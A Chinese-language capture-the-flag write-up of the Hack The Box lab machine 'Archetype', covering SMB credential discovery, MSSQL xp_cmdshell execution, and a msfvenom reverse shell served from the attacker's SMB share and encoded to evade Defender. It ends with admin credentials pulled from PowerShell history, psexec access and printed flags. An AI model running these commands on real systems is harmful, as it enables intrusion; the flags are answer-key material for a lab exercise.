[Day21] HTB Archetype

是的！我买ㄌ Hack The Box 的 VIP+，因为我觉得 Try Hack Me 上面的 Windows 题目都太新手不友善了，相较之下， Hack The Box 的 Windows 题目比较多元，所以今天开始我应该都会来玩 Hack The Box 的题目！ 官方说这题是 Very Easy，但我个人却觉得有一点小难QQ。

• URL : https://app.hackthebox.eu/machines/287
• IP : 10.10.10.27

扫 Port

• rustscan -a 10.10.10.27 -r 1-65535
  • 
• nmap 继续扫
  • nmap -A -p135,139,445,5985,47001,49664,49665,49666,49667,49669,49668 10.10.10.27
    • 
    • 一堆的 RPC
    • SMB
    • 1433 是 MSSQL

SMB

• SMB 匿名登入

  • 
  • 发现 backups

• backups 资料夹

  • 
    • 一个 Config 载下来
  • 

• 取得密码资讯

  • 
  • Host Name : ARCHETYPE
  • User ID : sql_svc
  • Password : M3g4c0rp123

MSSQL

• 安装 impacket
  • sudo apt install python3-impacket
• impacket-mssqlclient -p 1433 [email protected] -windows-auth
  • 
• MSSQL 取得 Shell 就有机会可以 RCE
  • exec xp_cmdshell '{指令}'
• systeminfo
  • 
• dir
  • exec xp_cmdshell 'dir'
• 透过开启本地 smb
  • impacket-smbserver meow .
• 准备 Reverse shell
  • msfvenom -p windows/shell_reverse_tcp LHOST=10.10.16.16 LPORT=7877 -e x86/shikata_ga_nai -f exe > shell.exe
    • 经测试，不挂 x86/shikata_ga_nai 就会被 Defender 吃掉
    • Windows 的 Reverse Shell 通常都会使用 msfvenom 来产

Shell

• 执行 Shell
  • exec xp_cmdshell '\\10.10.16.16\meow\shell.exe'
  • 
• 收回 Reverse shell
  • 
• 取得 User Flag
  • 
  • 3e7b102e78218e935bf3f4951fec21a3

尝试提权

• 试着使用 Windows exploit suggester
  • windows-exploit-suggester.py
    • 坏ㄌ QQ 不支援 2019
• WESNG
  • https://github.com/bitsadmin/wesng
  • 找不到洞 QQ
• whoami /priv
  • 
  • 发现有 SeImpersonatePrivilege
• SeImpersonatePrivilege 提权尝试
  • https://book.hacktricks.xyz/windows/windows-local-privilege-escalation/privilege-escalation-abusing-tokens
  • https://github.com/itm4n/PrintSpoofer
  • 失败 QQ

正式提权

• Powershell history
  • %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
• Get Username and password
  • 
  • Username : administrator
  • Password : MEGACORP_4dm1n!!
• Use psexec to get shell
  impacket-psexec administrator:'MEGACORP_4dm1n!!'@10.10.10.27
  • 
• Get root flag
  • 
  • b91ccec3305e98240082d4474b848528